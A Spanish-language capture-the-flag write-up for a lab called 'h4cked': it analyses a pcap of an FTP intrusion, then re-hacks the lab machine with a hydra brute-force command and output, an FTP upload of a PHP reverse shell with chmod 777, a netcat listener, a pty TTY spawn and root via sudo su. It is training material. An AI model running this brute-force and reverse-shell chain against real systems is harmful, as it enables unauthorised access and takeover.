h4cked

Descubre que paso mientras analizas un archivo .pcap y hackea a tu manera la maquina.

Task 1: Oh no! We've been hacked!

Para limpiar los segmentos SYN y ACK que no tienen data que nos interese, use el comando frame.len != 66 and frame.len != 74, con esto le indicamos que los frames con un tamaño diferente a 66 y 74 no los muestre, en mi caso eran los tamaños de estos segmentos que no me servian para nada.

De esta manera queda todo mas limpio y "lindo" para la vista

¿El atacante esta tratando de loggearse en un servicio especifico. Cual es?

ftp

Aca vemos como el atacante esta intentando loggearse

¿Hay una herramienta muy poplar creada por Van Hauser la cual puede ser usada para brute-forcear una serie de servicios. Cual es el nombre?

hydra

¿El atacante esta intentando loggearse con un nombre de usuario especifico. Cual es este nombre?

jenny

Se ve como en el campo user

¿Cual es la contraseña del usuario?

password123

Aca vemos como el usuario despues de introducir la contraseña "password123" el sistema le devuelve con un "Login successful"

¿Cual es el actual directorio de trabajo despues de que el atacante se haya logeado?

/var/www/html

Cuando ejecuta el comando "pwd" podemos ver que le responde con un "/var/www/html"

El atacante subio una backdoor. ¿Cual es el nombre de este backdoor?

shell.php

La backdoor puede ser descargada de una URL especifica, esta escrita adentro del archivo. ¿Cual es la URL completa?

http://pentestmonkey.net/tools/php-reverse-shell

¿Cual comando ejecuto el atacante manualmente despues de obtener la reverse shell?

whoami

¿Cual es el hostname de la maquina?

wir3

¿Cual es el comando que el atacante ejecuto para obtener una nueva TTY?

python3 -c 'import pty; pty.spawn("/bin/bash")'

¿Que comando fue ejecutado para ser root?

sudo su

El atacante descargo algo desde GitHub. ¿Cual es el nombre del proyecto?

reptile

El proyecto puede ser usado para descargar una stealthy backdoor, las cuales son muy dificiles de detectar. ¿Como se llaman a este tipo de backdoors?

rootkit

Task 2: Hack your way back into the machine

1. Como el hacker anterior cambio la contraseña vamos a tener que hacer furza bruta contra ftp usando hydra

// Some code$ hydra -l jenny -P /usr/share/wordlists/rockyou.txt 10.10.28.43 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-19 17:25:56
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://10.10.28.43:21/
[21][ftp] host: 10.10.28.43   login: jenny   password: 987654321
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-19 17:26:44

Vemos que la contraseña es 987654321

1. Nos conectamos con las credenciales, con el comando put subimos la shell nuestra, y le damos permisos de execucion con chmod 777

$ ftp 10.10.28.43
Connected to 10.10.28.43.
220 Hello FTP World!
Name (10.10.28.43:rulo): jenny
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||36440|)
150 Here comes the directory listing.
drwxr-xr-x    2 1000     1000         4096 May 19 20:39 .
drwxr-xr-x    3 0        0            4096 Feb 01  2021 ..
-rw-r--r--    1 1000     1000        10918 Feb 01  2021 index.html
-rwxrwxrwx    1 1000     1000         5493 Feb 01  2021 shell.php
226 Directory send OK.
ftp> put shellknz.php
local: shellknz.php remote: shellknz.php
229 Entering Extended Passive Mode (|||45093|)
150 Ok to send data.
100% |***************************************************************************|  2583       19.09 MiB/s    00:00 ETA
226 Transfer complete.
2583 bytes sent in 00:00 (5.17 KiB/s)
ftp> chmod 777 shellknz.php
200 SITE CHMOD command ok.
ftp> quit
221 Goodbye.

1. Nos ponemos en escucha con el comando nc -lvnp 6666 y en la web accedemos a nuestra shell para que se ejecute asi nos da la reverse shell

1. Ahora solo nos queda actualizar a TTY con python3 -c 'import pty; pty.spawn("/bin/bash")', despues de eso nos cambiamos de usuario a jenny usando las mismas credenciales de ftp, y con sudo su nos convertimos en root